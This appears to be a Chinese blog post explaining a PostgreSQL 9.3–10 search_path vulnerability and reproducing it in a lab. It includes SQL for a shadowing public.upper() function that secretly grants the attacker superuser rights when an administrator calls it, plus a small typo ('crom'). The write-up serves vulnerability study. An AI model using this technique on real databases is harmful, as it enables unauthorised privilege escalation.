PostgreSQL 远程命令执行漏洞

Posted by JenI on 2018-05-12 00:00:00+08:00

前言

PostgreSQL是一个自由的对象-关系数据库服务器(数据库管理系统),它在灵活的BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如MySQL和Firebird),和专有系统(比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server)之外的另一种选择。

近日,PostgreSQL 9.3 版本至 10 版本中被爆出存在安全漏洞。攻击者可利用该漏洞以超级用户的权限执行代码。

漏洞分析

在 PostgreSQL 中,存在一个 schema 的概念,每个数据库都可以创建多个 schema,每个 schema 下面又可以创建多个对象,对象可以是表、视图、函数、序列等。

PostgreSQL-schema

每个数据库在创建完成后,都会存在一个叫 public 的 schema,在不做其他操作或者设定的情况下,诸如查询等操作都是在这个 public 中进行查询。

除了超级用户外,普通用户只能操作自己创建的对象,而由于有些对象是赋予给 public 角色默认权限的,因此在对象建立之后,所有人都有此对象的权限。这种情况下就会有一个重名对象的问题。PostgreSQL 使用 search_path 来处理这种情况。search_path 类似于 linux 中的 path 环境变量,用户在查询重名表中的数据时,PostgreSQL 会采取首先适配原则,第一个找到的表将被使用,对于名为 $user 的 schema,将使用 SESSION_USER 对应的表。除了这两种适配方式外,PostgreSQL 还有另外一个特性,如果 pg_catalog 不在 path 中,PostgreSQL 则会最先查找它,如果在 path 中,则按照 path 中的顺序查找。正是由于这个特性,导致了代码执行漏洞。

在系统 schema pg_catalog 中,定义了大量的内置函数,每个函数接受的参数都有固定类型,正常情况下,如果将函数无法处理的数据类型作为参数传递给函数,则会导致函数抛出异常,但是 PostgreSQL 支持自定义函数,如果定义了 pg_catalog 中的同名函数,并让此函数接受原函数无法处理的数据类型,那么根据 PostgreSQL 的设计流程,在原函数遇到无法处理的数据时,则会执行攻击者自定义的函数。

漏洞复现

初始化实验环境

> psql -U postgres
    CREATE DATABASE testdb;
    CREATE USER user1 WITH PASSWORD 'user1';
    GRANT ALL PRIVILEGES ON DATABASE testdb TO user1;

现在有 postgres 和 user1 两个用户,其中 postgres 是管理员,user1 是一个普通用户。user1 用户可以操作 testdb 数据库。现在要利用的是 pg_catalog 中的 upper() 函数,该函数会将传入的 text 类型数据转换成大写。

    SELECT rolname, rolsuper FROM pg_roles;
PostgreSQL-rce-1

首先使用 user1 用户在 testdb 数据库内创建 testtb 表,并将值的类型设置为 varchar,这样如果使用 upper() 函数对 testtb 表内数据进行转换时,由于数据类型问题,就会执行到稍后自定义的同名函数。

> psql -U user1 -d testdb
    CREATE TABLE public.testtb AS SELECT 'test content'::varchar AS contents;
    SELECT contents from testtb;
PostgreSQL-rce-2

表成功创建完成后,创建自定义函数,函数内执行大写转换操作,并将 user1 修改为管理员。

    CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
        ALTER ROLE user1 SUPERUSER;
        SELECT pg_catalog.upper($1);
    $$ LANGUAGE SQL VOLATILE;
PostgreSQL-rce-3

之后让 postgres 用户使用 upper() 函数对 testtb 表内的值进行大写转换,即可完成对 user1 用户的提权。

    SELECT upper(contents) crom testtb;
    SELECT rolname, rolsuper FROM pg_roles;
PostgreSQL-rce-4

参考

https://xz.aliyun.com/t/2109


作者:   JenI   转载请注明出处,谢谢


Comments !